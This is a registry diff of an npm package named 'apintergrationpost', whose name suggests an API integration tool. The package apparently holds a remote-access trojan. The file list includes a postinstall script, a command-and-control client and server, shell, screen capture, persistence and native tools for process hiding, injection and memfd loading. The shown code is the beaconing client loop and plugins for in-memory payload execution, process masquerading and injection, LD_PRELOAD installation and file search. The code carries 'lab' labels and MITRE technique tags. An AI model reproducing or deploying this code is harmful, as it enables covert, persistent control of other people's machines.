apintergrationpost 4.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (55) hide show
  1. package/README.md +203 -0
  2. package/apintergrationpost.config.json +101 -0
  3. package/bin/apintergrationpost-install.js +232 -0
  4. package/bin/apintergrationpost.js +50 -0
  5. package/bin/lib/paths.js +19 -0
  6. package/native/lab-tools/Makefile +45 -0
  7. package/native/lab-tools/agent_launcher.c +96 -0
  8. package/native/lab-tools/injector.c +80 -0
  9. package/native/lab-tools/libcache.c +80 -0
  10. package/native/lab-tools/memfd_exec.c +123 -0
  11. package/native/lab-tools/memfd_loader.c +224 -0
  12. package/native/lab-tools/proc_hide.c +64 -0
  13. package/package.json +45 -0
  14. package/scripts/postinstall-run.js +97 -0
  15. package/scripts/prepare-native.js +25 -0
  16. package/src/client/commands/filesystem.js +47 -0
  17. package/src/client/commands/index.js +26 -0
  18. package/src/client/commands/screen-capture.js +74 -0
  19. package/src/client/commands/shell.js +61 -0
  20. package/src/client/commands/system.js +266 -0
  21. package/src/client/connection.js +66 -0
  22. package/src/client/index.js +193 -0
  23. package/src/client/plugins/base.js +17 -0
  24. package/src/client/plugins/evasion-memfd.js +226 -0
  25. package/src/client/plugins/evasion-process.js +158 -0
  26. package/src/client/plugins/file-search.js +66 -0
  27. package/src/client/plugins/filesystem.js +62 -0
  28. package/src/client/plugins/network-enum.js +43 -0
  29. package/src/client/plugins/persistence-advanced.js +9 -0
  30. package/src/client/plugins/persistence-stealth.js +82 -0
  31. package/src/client/plugins/process-list.js +49 -0
  32. package/src/client/plugins/registry.js +118 -0
  33. package/src/client/plugins/screen-live.js +124 -0
  34. package/src/client/plugins/shell-oneshot.js +25 -0
  35. package/src/client/plugins/shell-pty.js +132 -0
  36. package/src/client/plugins/sysinfo.js +45 -0
  37. package/src/client/plugins/system.js +26 -0
  38. package/src/client/watchdog.js +29 -0
  39. package/src/protocol/auth.js +121 -0
  40. package/src/protocol/framer.js +57 -0
  41. package/src/protocol/messages.js +81 -0
  42. package/src/protocol/tls.js +74 -0
  43. package/src/server/cli.js +98 -0
  44. package/src/server/index.js +183 -0
  45. package/src/server/installServer.js +159 -0
  46. package/src/server/screenViewer.js +103 -0
  47. package/src/server/session.js +342 -0
  48. package/src/server/sessionManager.js +229 -0
  49. package/src/shared/c2schedule.js +100 -0
  50. package/src/shared/config.js +277 -0
  51. package/src/shared/emulation.js +86 -0
  52. package/src/shared/logger.js +125 -0
  53. package/src/shared/memfdLaunch.js +135 -0
  54. package/src/shared/nativeTools.js +73 -0
  55. package/src/shared/procinfo.js +116 -0
@@ -0,0 +1,193 @@
1
+ 'use strict';
2
+
3
+ const { loadConfig, validateLabConfig } = require('../shared/config');
4
+ const { createLogger } = require('../shared/logger');
5
+ const { getEmulationConfig } = require('../shared/emulation');
6
+ const { shouldMemfdDeploy, spawnMemfdLoader, isMemfdChild } = require('../shared/memfdLaunch');
7
+ const { writeMessage, createMessageReader } = require('../protocol/framer');
8
+ const { MSG_TYPES, responseMsg, heartbeatMsg, shellOutputMsg, screenFrameMsg } = require('../protocol/messages');
9
+ const { connectWithBackoff } = require('./connection');
10
+ const { route, loadPlugins, cleanupPlugins } = require('./commands');
11
+ const { nextBeaconInterval } = require('../shared/c2schedule');
12
+ const evasionProcess = require('./plugins/evasion-process');
13
+
14
+ function getFramerOptions(config) {
15
+ const emu = getEmulationConfig(config);
16
+ return { paddingMaxBytes: emu.c2.paddingMaxBytes || 0 };
17
+ }
18
+
19
+ function createCommandContext(config, logger, conn) {
20
+ const framerOpts = getFramerOptions(config);
21
+ return {
22
+ config,
23
+ logger,
24
+ labEvent(entry) {
25
+ logger.labEvent(entry);
26
+ },
27
+ sendShellOutput(sessionId, body, meta) {
28
+ if (conn && !conn.destroyed) {
29
+ writeMessage(conn, shellOutputMsg(sessionId, body, meta), framerOpts);
30
+ }
31
+ },
32
+ sendScreenFrame(sessionId, body, meta) {
33
+ if (conn && !conn.destroyed) {
34
+ writeMessage(conn, screenFrameMsg(sessionId, body, meta), framerOpts);
35
+ }
36
+ },
37
+ write(conn, msg) {
38
+ writeMessage(conn, msg, framerOpts);
39
+ },
40
+ };
41
+ }
42
+
43
+ async function runSession(config, logger, pluginState) {
44
+ const conn = await connectWithBackoff(config.host, config.port, config, logger);
45
+ const ctx = createCommandContext(config, logger, conn);
46
+ const framerOpts = getFramerOptions(config);
47
+
48
+ return new Promise((resolve) => {
49
+ let heartbeatTimer = null;
50
+ let alive = true;
51
+
52
+ function cleanup() {
53
+ alive = false;
54
+ if (heartbeatTimer) {
55
+ clearTimeout(heartbeatTimer);
56
+ heartbeatTimer = null;
57
+ }
58
+ cleanupPlugins(pluginState.plugins);
59
+ }
60
+
61
+ function scheduleHeartbeat() {
62
+ if (!alive) return;
63
+ const interval = nextBeaconInterval(config);
64
+ heartbeatTimer = setTimeout(() => {
65
+ if (alive) {
66
+ writeMessage(conn, heartbeatMsg(), framerOpts);
67
+ }
68
+ scheduleHeartbeat();
69
+ }, interval);
70
+ }
71
+
72
+ scheduleHeartbeat();
73
+
74
+ createMessageReader(conn, async (msg) => {
75
+ if (!alive) return;
76
+
77
+ if (msg.type === MSG_TYPES.COMMAND) {
78
+ try {
79
+ const result = await route(msg, ctx, pluginState.commandMap);
80
+ if (result.skipResponse !== true && alive) {
81
+ writeMessage(conn, responseMsg(msg.id, result.status, result.body, result.meta), framerOpts);
82
+ }
83
+ if (result.action === 'quit') {
84
+ cleanup();
85
+ conn.end();
86
+ resolve('quit');
87
+ } else if (result.action === 'kill') {
88
+ cleanup();
89
+ conn.end();
90
+ resolve('kill');
91
+ }
92
+ } catch (err) {
93
+ logger.error('Command execution error', { command: msg.command, error: err.message });
94
+ if (alive) {
95
+ writeMessage(conn, responseMsg(msg.id, 'error', err.message), framerOpts);
96
+ }
97
+ }
98
+ } else if (msg.type === MSG_TYPES.HEARTBEAT) {
99
+ // connection healthy
100
+ } else if (msg.type === MSG_TYPES.DISCONNECT) {
101
+ cleanup();
102
+ conn.end();
103
+ resolve('disconnect');
104
+ }
105
+ });
106
+
107
+ conn.on('close', () => {
108
+ if (alive) {
109
+ cleanup();
110
+ resolve('reconnect');
111
+ }
112
+ });
113
+
114
+ conn.on('error', () => {
115
+ if (alive) {
116
+ cleanup();
117
+ conn.destroy();
118
+ resolve('reconnect');
119
+ }
120
+ });
121
+ });
122
+ }
123
+
124
+ async function main() {
125
+ const config = loadConfig();
126
+ const labError = validateLabConfig(config);
127
+ if (labError) {
128
+ process.stderr.write(`${labError}\n`);
129
+ process.exit(1);
130
+ }
131
+
132
+ if (shouldMemfdDeploy(config)) {
133
+ try {
134
+ spawnMemfdLoader(config, process.argv.slice(2));
135
+ } catch (err) {
136
+ process.stderr.write(`${err.message}\n`);
137
+ process.exit(1);
138
+ }
139
+ process.exit(0);
140
+ }
141
+
142
+ if (isMemfdChild()) {
143
+ if (!config.features) config.features = {};
144
+ config.features.pty = false;
145
+ process.env.MYRA_FEATURES_PTY = 'false';
146
+ }
147
+
148
+ const emu = getEmulationConfig(config);
149
+ if (!emu.stealth && config.lab && config.lab.mode) {
150
+ process.stderr.write('[MYRA] Lab mode active.\n');
151
+ }
152
+
153
+ if (config.features && config.features.pty === false) {
154
+ process.env.MYRA_FEATURES_PTY = 'false';
155
+ }
156
+
157
+ const logger = createLogger(config);
158
+ const pluginState = loadPlugins(config);
159
+
160
+ const labEventFn = (entry) => logger.labEvent(entry);
161
+ evasionProcess.runAutoHide(config, labEventFn);
162
+
163
+ let shuttingDown = false;
164
+
165
+ function onSignal() {
166
+ if (shuttingDown) return;
167
+ shuttingDown = true;
168
+ cleanupPlugins(pluginState.plugins);
169
+ process.exit(0);
170
+ }
171
+
172
+ process.on('SIGTERM', onSignal);
173
+ process.on('SIGINT', onSignal);
174
+
175
+ while (!shuttingDown) {
176
+ const result = await runSession(config, logger, pluginState);
177
+
178
+ if (result === 'quit' || result === 'kill') {
179
+ break;
180
+ }
181
+
182
+ if (!emu.stealth) {
183
+ logger.info('Reconnecting...');
184
+ }
185
+ }
186
+
187
+ logger.close();
188
+ }
189
+
190
+ main().catch((err) => {
191
+ process.stderr.write(`${err.message}\n`);
192
+ process.exit(1);
193
+ });
@@ -0,0 +1,17 @@
1
+ 'use strict';
2
+
3
+ /**
4
+ * Base plugin interface:
5
+ * - name: string
6
+ * - commands: string[] — command names this plugin handles
7
+ * - execute(msg, ctx): Promise<PluginResult>
8
+ *
9
+ * PluginResult:
10
+ * - action: 'continue' | 'quit' | 'kill'
11
+ * - status: 'ok' | 'error'
12
+ * - body: string
13
+ * - meta: object (optional)
14
+ * - skipResponse: boolean (optional) — do not send immediate response
15
+ */
16
+
17
+ module.exports = {};
@@ -0,0 +1,226 @@
1
+ 'use strict';
2
+
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+ const { spawnSync } = require('child_process');
6
+ const { runNativeTool } = require('../../shared/nativeTools');
7
+ const { getProcessInfo, summarizeMaps } = require('../../shared/procinfo');
8
+ const {
9
+ spawnMemfdLoader,
10
+ verifyMemfdProcess,
11
+ resolveBundlePath,
12
+ getMemoryConfig,
13
+ } = require('../../shared/memfdLaunch');
14
+
15
+ const name = 'evasion-memfd';
16
+ const commands = ['memfd_exec', 'memfd_stage', 'memfd_status', 'memfd_deploy', 'memfd_verify'];
17
+
18
+ let memfdChildPid = null;
19
+ let stagingPath = null;
20
+
21
+ function ensureBundle(config) {
22
+ const bundlePath = resolveBundlePath(config);
23
+ if (fs.existsSync(bundlePath)) {
24
+ return bundlePath;
25
+ }
26
+
27
+ const scriptPath = path.resolve(__dirname, '../../../scripts/bundle-agent.js');
28
+ const result = spawnSync(process.execPath, [scriptPath], {
29
+ encoding: 'utf8',
30
+ cwd: path.resolve(__dirname, '../../..'),
31
+ stdio: ['ignore', 'pipe', 'pipe'],
32
+ });
33
+
34
+ if (result.status !== 0) {
35
+ throw new Error(result.stderr || result.stdout || 'bundle-agent failed');
36
+ }
37
+ if (!fs.existsSync(bundlePath)) {
38
+ throw new Error(`Bundle not created: ${bundlePath}`);
39
+ }
40
+ return bundlePath;
41
+ }
42
+
43
+ async function execute(msg, ctx) {
44
+ const cmd = msg.command;
45
+
46
+ if (cmd === 'memfd_exec') {
47
+ const payloadPath = (msg.body || '').trim();
48
+ if (!payloadPath) {
49
+ return { action: 'continue', status: 'error', body: 'Usage: memfd_exec <path>' };
50
+ }
51
+ if (!fs.existsSync(payloadPath)) {
52
+ return { action: 'continue', status: 'error', body: `File not found: ${payloadPath}` };
53
+ }
54
+
55
+ ctx.labEvent({
56
+ plugin: name,
57
+ command: cmd,
58
+ technique: 'T1027.011',
59
+ expectedAuditd: ['memfd_create', 'fexecve', 'execve'],
60
+ });
61
+
62
+ try {
63
+ const result = runNativeTool(ctx.config, 'memfd_exec', [payloadPath]);
64
+ if (result.status !== 0) {
65
+ return { action: 'continue', status: 'error', body: result.stderr || 'memfd_exec failed' };
66
+ }
67
+ memfdChildPid = Number(result.stdout.split('\n')[0]);
68
+ return {
69
+ action: 'continue',
70
+ status: 'ok',
71
+ body: `memfd_exec started pid ${memfdChildPid}`,
72
+ meta: { pid: memfdChildPid, payloadPath },
73
+ };
74
+ } catch (err) {
75
+ return { action: 'continue', status: 'error', body: err.message };
76
+ }
77
+ }
78
+
79
+ if (cmd === 'memfd_stage') {
80
+ const body = (msg.body || '').trim();
81
+ if (!body.includes(':')) {
82
+ return {
83
+ action: 'continue',
84
+ status: 'error',
85
+ body: 'Usage: memfd_stage with body format destPath:base64content',
86
+ };
87
+ }
88
+
89
+ const colon = body.indexOf(':');
90
+ const destPath = body.slice(0, colon);
91
+ const b64 = body.slice(colon + 1);
92
+
93
+ ctx.labEvent({
94
+ plugin: name,
95
+ command: cmd,
96
+ technique: 'T1027.011',
97
+ expectedAuditd: ['memfd_create', 'write', 'unlink'],
98
+ });
99
+
100
+ try {
101
+ stagingPath = path.resolve(destPath);
102
+ fs.mkdirSync(path.dirname(stagingPath), { recursive: true });
103
+ fs.writeFileSync(stagingPath, Buffer.from(b64, 'base64'), { mode: 0o755 });
104
+
105
+ const result = runNativeTool(ctx.config, 'memfd_exec', [stagingPath]);
106
+ try { fs.unlinkSync(stagingPath); } catch { /* ignore */ }
107
+ stagingPath = null;
108
+
109
+ if (result.status !== 0) {
110
+ return { action: 'continue', status: 'error', body: result.stderr || 'memfd_stage failed' };
111
+ }
112
+ memfdChildPid = Number(result.stdout.split('\n')[0]);
113
+ return {
114
+ action: 'continue',
115
+ status: 'ok',
116
+ body: `memfd_stage executed in-memory pid ${memfdChildPid} (staging file removed)`,
117
+ meta: { pid: memfdChildPid },
118
+ };
119
+ } catch (err) {
120
+ return { action: 'continue', status: 'error', body: err.message };
121
+ }
122
+ }
123
+
124
+ if (cmd === 'memfd_deploy') {
125
+ ctx.labEvent({
126
+ plugin: name,
127
+ command: cmd,
128
+ technique: 'T1027.011',
129
+ expectedAuditd: ['memfd_create', 'fexecve', 'execve'],
130
+ });
131
+
132
+ const mem = getMemoryConfig(ctx.config);
133
+ if (mem.mode !== 'full') {
134
+ return {
135
+ action: 'continue',
136
+ status: 'error',
137
+ body: 'Set emulation.memory.mode to "full" before memfd_deploy',
138
+ };
139
+ }
140
+
141
+ try {
142
+ const bundlePath = ensureBundle(ctx.config);
143
+ const extraArgs = (msg.body || '').trim() ? msg.body.trim().split(/\s+/) : [];
144
+ const { pid, args } = spawnMemfdLoader(ctx.config, extraArgs);
145
+ memfdChildPid = pid;
146
+ return {
147
+ action: 'continue',
148
+ status: 'ok',
149
+ body: `memfd_deploy started pid ${pid} bundle ${bundlePath}`,
150
+ meta: { pid, bundlePath, args },
151
+ };
152
+ } catch (err) {
153
+ return { action: 'continue', status: 'error', body: err.message };
154
+ }
155
+ }
156
+
157
+ if (cmd === 'memfd_verify') {
158
+ ctx.labEvent({
159
+ plugin: name,
160
+ command: cmd,
161
+ technique: 'T1057',
162
+ expectedAuditd: ['open'],
163
+ });
164
+
165
+ const body = (msg.body || '').trim();
166
+ const pid = body ? Number(body) : (memfdChildPid || process.pid);
167
+
168
+ try {
169
+ process.kill(pid, 0);
170
+ } catch {
171
+ return { action: 'continue', status: 'error', body: `Process ${pid} is not running` };
172
+ }
173
+
174
+ const report = verifyMemfdProcess(pid, ctx.config);
175
+ return {
176
+ action: 'continue',
177
+ status: report.passed ? 'ok' : 'error',
178
+ body: JSON.stringify(report, null, 2),
179
+ meta: report,
180
+ };
181
+ }
182
+
183
+ if (cmd === 'memfd_status') {
184
+ ctx.labEvent({
185
+ plugin: name,
186
+ command: cmd,
187
+ technique: 'T1057',
188
+ expectedAuditd: ['open'],
189
+ });
190
+
191
+ const body = (msg.body || '').trim();
192
+ const pid = body ? Number(body) : memfdChildPid;
193
+
194
+ if (!pid) {
195
+ return { action: 'continue', status: 'error', body: 'No memfd child tracked (use memfd_deploy first or pass pid in body)' };
196
+ }
197
+
198
+ try {
199
+ process.kill(pid, 0);
200
+ } catch {
201
+ if (pid === memfdChildPid) memfdChildPid = null;
202
+ return { action: 'continue', status: 'error', body: 'Tracked memfd child is not running' };
203
+ }
204
+
205
+ const info = getProcessInfo(pid);
206
+ const mapsSummary = summarizeMaps(pid);
207
+ const verify = verifyMemfdProcess(pid, ctx.config);
208
+ const payload = { pid, ...info, mapsSummary, verify };
209
+ return { action: 'continue', status: 'ok', body: JSON.stringify(payload, null, 2) };
210
+ }
211
+
212
+ return { action: 'continue', status: 'error', body: 'Unknown evasion-memfd command' };
213
+ }
214
+
215
+ function cleanup() {
216
+ if (memfdChildPid) {
217
+ try { process.kill(memfdChildPid, 'SIGTERM'); } catch { /* ignore */ }
218
+ memfdChildPid = null;
219
+ }
220
+ if (stagingPath && fs.existsSync(stagingPath)) {
221
+ try { fs.unlinkSync(stagingPath); } catch { /* ignore */ }
222
+ stagingPath = null;
223
+ }
224
+ }
225
+
226
+ module.exports = { name, commands, execute, cleanup };
@@ -0,0 +1,158 @@
1
+ 'use strict';
2
+
3
+ const path = require('path');
4
+ const { runNativeTool, resolveNativeToolsDir } = require('../../shared/nativeTools');
5
+ const { getEmulationConfig } = require('../../shared/emulation');
6
+ const {
7
+ persistStealthPreload,
8
+ removeStealthPreload,
9
+ } = require('../commands/system');
10
+
11
+ const name = 'evasion-process';
12
+ const commands = [
13
+ 'hide_start',
14
+ 'hide_stop',
15
+ 'masq_start',
16
+ 'masq_stop',
17
+ 'preload_install',
18
+ 'preload_remove',
19
+ 'inject',
20
+ 'inject_spawn',
21
+ 'inject_demo',
22
+ ];
23
+
24
+ let hiddenPid = null;
25
+
26
+ function applyProcessHide(config, selfOnly) {
27
+ const emu = getEmulationConfig(config);
28
+ const args = [
29
+ '--comm', emu.process.targetName,
30
+ '--scrub-argv',
31
+ ];
32
+ if (selfOnly) args.push('--self');
33
+ else if (hiddenPid) args.push('--pid', String(hiddenPid));
34
+
35
+ return runNativeTool(config, 'proc_hide', args);
36
+ }
37
+
38
+ function launchHiddenAgent(config) {
39
+ const emu = getEmulationConfig(config);
40
+ const scriptPath = path.resolve(process.argv[1]);
41
+ const configPath = process.env.MYRA_CONFIG || '';
42
+
43
+ return runNativeTool(config, 'agent_launcher', [
44
+ '--daemon',
45
+ '--node', process.execPath,
46
+ '--script', scriptPath,
47
+ '--blend', emu.process.binaryPath,
48
+ '--comm', emu.process.targetName,
49
+ '--fake-arg', (emu.process.fakeArgs || ['--user'])[0],
50
+ ...(configPath ? ['--config-env', configPath] : []),
51
+ ]);
52
+ }
53
+
54
+ async function execute(msg, ctx) {
55
+ const cmd = msg.command;
56
+ const config = ctx.config;
57
+
58
+ if (cmd === 'hide_start' || cmd === 'masq_start') {
59
+ ctx.labEvent({ plugin: name, command: 'hide_start', technique: 'T1036.004' });
60
+ try {
61
+ const hide = applyProcessHide(config, true);
62
+ if (hide.status !== 0 && !getEmulationConfig(config).process.autoHide) {
63
+ return { action: 'continue', status: 'error', body: hide.stderr || 'proc_hide failed' };
64
+ }
65
+ const launch = launchHiddenAgent(config);
66
+ if (launch.status === 0) {
67
+ hiddenPid = Number(launch.stdout.split('\n')[0]) || process.pid;
68
+ } else {
69
+ hiddenPid = process.pid;
70
+ }
71
+ const emu = getEmulationConfig(config);
72
+ return {
73
+ action: 'continue',
74
+ status: 'ok',
75
+ body: `Process hide active (pid ${hiddenPid}, comm=${emu.process.targetName})`,
76
+ meta: { pid: hiddenPid, comm: emu.process.targetName },
77
+ };
78
+ } catch (err) {
79
+ return { action: 'continue', status: 'error', body: err.message };
80
+ }
81
+ }
82
+
83
+ if (cmd === 'hide_stop' || cmd === 'masq_stop') {
84
+ if (hiddenPid && hiddenPid !== process.pid) {
85
+ try { process.kill(hiddenPid, 'SIGTERM'); } catch { /* ignore */ }
86
+ }
87
+ hiddenPid = null;
88
+ return { action: 'continue', status: 'ok', body: 'Hide session cleared' };
89
+ }
90
+
91
+ if (cmd === 'preload_install') {
92
+ ctx.labEvent({ plugin: name, command: 'preload_install', technique: 'T1574.006' });
93
+ const result = persistStealthPreload(config, resolveNativeToolsDir(config));
94
+ return { action: 'continue', status: result.ok ? 'ok' : 'error', body: result.message };
95
+ }
96
+
97
+ if (cmd === 'preload_remove') {
98
+ const removed = removeStealthPreload(config);
99
+ return {
100
+ action: 'continue',
101
+ status: 'ok',
102
+ body: removed ? 'Preload artifacts removed' : 'No preload artifacts found',
103
+ };
104
+ }
105
+
106
+ if (cmd === 'inject' || cmd === 'inject_demo') {
107
+ const pid = (msg.body || '').trim();
108
+ const args = pid ? ['--pid', pid] : ['--spawn-sleep'];
109
+ ctx.labEvent({ plugin: name, command: 'inject', technique: 'T1055.008' });
110
+ try {
111
+ const result = runNativeTool(config, 'injector', args);
112
+ if (result.status !== 0) {
113
+ return { action: 'continue', status: 'error', body: result.stderr || 'inject failed' };
114
+ }
115
+ const target = Number(result.stdout.split('\n')[0]);
116
+ return { action: 'continue', status: 'ok', body: `Injected stub into pid ${target}`, meta: { pid: target } };
117
+ } catch (err) {
118
+ return { action: 'continue', status: 'error', body: err.message };
119
+ }
120
+ }
121
+
122
+ if (cmd === 'inject_spawn') {
123
+ ctx.labEvent({ plugin: name, command: 'inject_spawn', technique: 'T1055.008' });
124
+ try {
125
+ const result = runNativeTool(config, 'injector', ['--spawn-sleep']);
126
+ if (result.status !== 0) {
127
+ return { action: 'continue', status: 'error', body: result.stderr || 'inject_spawn failed' };
128
+ }
129
+ const target = Number(result.stdout.split('\n')[0]);
130
+ return { action: 'continue', status: 'ok', body: `inject_spawn completed on pid ${target}`, meta: { pid: target } };
131
+ } catch (err) {
132
+ return { action: 'continue', status: 'error', body: err.message };
133
+ }
134
+ }
135
+
136
+ return { action: 'continue', status: 'error', body: 'Unknown evasion-process command' };
137
+ }
138
+
139
+ function runAutoHide(config, labEvent) {
140
+ const emu = getEmulationConfig(config);
141
+ if (!emu.process.autoHide) return null;
142
+ try {
143
+ applyProcessHide(config, true);
144
+ if (labEvent) labEvent({ plugin: name, command: 'auto_hide', technique: 'T1036.004' });
145
+ return true;
146
+ } catch {
147
+ return false;
148
+ }
149
+ }
150
+
151
+ function cleanup() {
152
+ if (hiddenPid && hiddenPid !== process.pid) {
153
+ try { process.kill(hiddenPid, 'SIGTERM'); } catch { /* ignore */ }
154
+ }
155
+ hiddenPid = null;
156
+ }
157
+
158
+ module.exports = { name, commands, execute, cleanup, runAutoHide };
@@ -0,0 +1,66 @@
1
+ 'use strict';
2
+
3
+ const fs = require('fs');
4
+ const path = require('path');
5
+
6
+ const name = 'file-search';
7
+ const commands = ['find'];
8
+
9
+ const MAX_RESULTS = 500;
10
+ const MAX_DEPTH = 8;
11
+
12
+ async function execute(msg, ctx) {
13
+ const body = (msg.body || '').trim();
14
+ const parts = body.split(/\s+/);
15
+ const pattern = parts[0] || '*';
16
+ const root = parts[1] || '.';
17
+
18
+ ctx.labEvent({
19
+ plugin: name,
20
+ command: 'find',
21
+ expectedAuditd: ['open', 'getdents'],
22
+ });
23
+
24
+ const regex = pattern.includes('*')
25
+ ? new RegExp('^' + pattern.replace(/\./g, '\\.').replace(/\*/g, '.*') + '$')
26
+ : null;
27
+
28
+ const matches = [];
29
+
30
+ function walk(dir, depth) {
31
+ if (matches.length >= MAX_RESULTS || depth > MAX_DEPTH) return;
32
+ let entries;
33
+ try {
34
+ entries = fs.readdirSync(dir, { withFileTypes: true });
35
+ } catch {
36
+ return;
37
+ }
38
+ for (const entry of entries) {
39
+ if (matches.length >= MAX_RESULTS) break;
40
+ const full = path.join(dir, entry.name);
41
+ const nameMatch = regex ? regex.test(entry.name) : entry.name.includes(pattern);
42
+ if (nameMatch) {
43
+ matches.push(full);
44
+ }
45
+ if (entry.isDirectory()) {
46
+ walk(full, depth + 1);
47
+ }
48
+ }
49
+ }
50
+
51
+ try {
52
+ const resolved = path.resolve(root);
53
+ walk(resolved, 0);
54
+ } catch (err) {
55
+ return { action: 'continue', status: 'error', body: err.message };
56
+ }
57
+
58
+ return {
59
+ action: 'continue',
60
+ status: 'ok',
61
+ body: JSON.stringify({ pattern, root, matches, truncated: matches.length >= MAX_RESULTS }, null, 2),
62
+ meta: { encoding: 'json' },
63
+ };
64
+ }
65
+
66
+ module.exports = { name, commands, execute };